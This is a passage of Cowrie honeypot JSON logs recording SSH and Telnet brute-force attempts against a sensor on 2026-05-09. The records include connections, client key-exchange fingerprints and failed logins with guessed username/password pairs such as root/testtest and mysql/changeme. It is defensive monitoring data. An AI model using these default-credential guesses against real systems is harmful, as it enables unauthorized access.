"chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:22.435452Z","src_ip":"201.6.100.191","session":"b052fc4eb4a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"P@ssw0rd","message":"login attempt [kafka/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:22.969624Z","src_ip":"201.6.100.191","session":"b052fc4eb4a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:24.100321Z","src_ip":"201.6.100.191","session":"b052fc4eb4a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.219.137","src_port":7272,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c4f8dcb5f98","protocol":"ssh","message":"New connection: 131.161.219.137:7272 (159.203.135.109:22) [session: 7c4f8dcb5f98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:25.748106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:25.757739Z","src_ip":"131.161.219.137","session":"7c4f8dcb5f98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:25.887836Z","src_ip":"131.161.219.137","session":"7c4f8dcb5f98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"123456789","message":"login attempt [ali/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:26.432183Z","src_ip":"131.161.219.137","session":"7c4f8dcb5f98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:27.563885Z","src_ip":"131.161.219.137","session":"7c4f8dcb5f98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.69.147","src_port":53876,"dst_ip":"159.203.135.109","dst_port":22,"session":"7584e7a4fada","protocol":"ssh","message":"New connection: 43.173.69.147:53876 (159.203.135.109:22) [session: 7584e7a4fada]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:35.918543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:35.923583Z","src_ip":"43.173.69.147","session":"7584e7a4fada","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:35.991211Z","src_ip":"43.173.69.147","session":"7584e7a4fada","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testtest","message":"login attempt [root/testtest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:36.294075Z","src_ip":"43.173.69.147","session":"7584e7a4fada","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:37.367238Z","src_ip":"43.173.69.147","session":"7584e7a4fada","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":55140,"dst_ip":"159.203.135.109","dst_port":23,"session":"2af6ef5b4436","protocol":"telnet","message":"New connection: 135.148.33.91:55140 (159.203.135.109:23) [session: 2af6ef5b4436]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:39.192305Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.158.40.65","src_port":52086,"dst_ip":"159.203.135.109","dst_port":22,"session":"d98dfe32f772","protocol":"ssh","message":"New connection: 103.158.40.65:52086 (159.203.135.109:22) [session: d98dfe32f772]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:59.916170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:59.921085Z","src_ip":"103.158.40.65","session":"d98dfe32f772","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:08:00.130883Z","src_ip":"103.158.40.65","session":"d98dfe32f772","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"user1pass","message":"login attempt [user1/user1pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:08:00.995896Z","src_ip":"103.158.40.65","session":"d98dfe32f772","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:08:02.208593Z","src_ip":"103.158.40.65","session":"d98dfe32f772","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.106.162","src_port":40670,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e7be5af4496","protocol":"ssh","message":"New connection: 101.36.106.162:40670 (10.17.0.5:22) [session: 7e7be5af4496]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:08:06.531136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:08:06.535754Z","src_ip":"101.36.106.162","session":"7e7be5af4496","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:08:06.752068Z","src_ip":"101.36.106.162","session":"7e7be5af4496","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"changeme","message":"login attempt [mysql/changeme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:08:07.647247Z","src_ip":"101.36.106.162","session":"7e7be5af4496","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:08:08.870850Z","src_ip":"101.36.106.162","session":"7e7be5af4496","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.075817346572876,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:08:15.267940Z","src_ip":"135.148.33.91","session":"2af6ef5b4436","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.219.137","src_port":7575,"dst_ip":"159.203.135.109","dst_port":22,"session":"c376bc5a3076","protocol":"ssh","message":"New connection: 131.161.219.137:7575 (159.203.135.109:22) [session: c376bc5a3076]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:08:22.323496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:08:22.328535Z","src_ip":"131.161.219.137","session":"c376bc5a3076","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:08:22.459001Z","src_ip":"131.161.219.137","session":"c376bc5a3076","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"pwWyX6cKTuzg","message":"login attempt [ubuntu/pwWyX6cKTuzg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:08:23.011661Z","src_ip":"131.161.219.137","session":"c376bc5a3076","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:08:24.145198Z","src_ip":"131.161.219.137","session":"c376bc5a3076","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.6.100.191","src_port":55520,"dst_ip":"159.203.135.109","dst_port":22,"session":"31dc5dc9f2e2","protocol":"ssh","message":"New connection: 201.6.100.191:55520 (159.203.135.109:22) [session: 31dc5dc9f2e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:08:36.210541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:08:36.215100Z","src_ip":"201.6.100.191","session":"31dc5dc9f2e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:08:36.342318Z","src_ip":"201.6.100.191","session":"31dc5dc9f2e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mapadmin","password":"mapadmin123","message":"login attempt [mapadmin/mapadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:08:36.887909Z","src_ip":"201.6.100.191","session":"31dc5dc9f2e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:08:38.023419Z","src_ip":"201.6.100.191","session":"31dc5dc9f2e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":43846,"dst_ip":"159.203.135.109","dst_port":23,"session":"b09d2be54798","protocol":"telnet","message":"New connection: 135.148.33.91:43846 (159.203.135.109:23) [session: b09d2be54798]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:08:56.406560Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.106.162","src_port":39848,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd7b7469afc4","protocol":"ssh","message":"New connection: 101.36.106.162:39848 (10.17.0.5:22) [session: fd7b7469afc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:08:56.435905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:08:56.441946Z","src_ip":"101.36.106.162","session":"fd7b7469afc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:08:56.656721Z","src_ip":"101.36.106.162","session":"fd7b7469afc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ss1234","message":"login attempt [ubuntu/P@ss1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:08:57.544631Z","src_ip":"101.36.106.162","session":"fd7b7469afc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:08:58.761899Z","src_ip":"101.36.106.162","session":"fd7b7469afc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.69.147","src_port":47632,"dst_ip":"159.203.135.109","dst_port":22,"session":"bee8a2bc4c39","protocol":"ssh","message":"New connection: 43.173.69.147:47632 (159.203.135.109:22) [session: bee8a2bc4c39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:09:12.017265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:09:12.022280Z","src_ip":"43.173.69.147","session":"bee8a2bc4c39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:09:12.095398Z","src_ip":"43.173.69.147","session":"bee8a2bc4c39","protocol":"ssh"}
